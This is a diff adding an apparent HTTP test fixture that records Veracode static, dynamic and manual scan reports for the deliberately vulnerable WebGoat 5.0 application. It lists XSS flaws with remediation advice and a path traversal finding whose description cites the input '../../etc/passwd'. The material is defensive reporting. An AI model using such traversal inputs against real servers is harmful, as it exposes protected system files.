+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:17:45 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:18:12 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:18:11 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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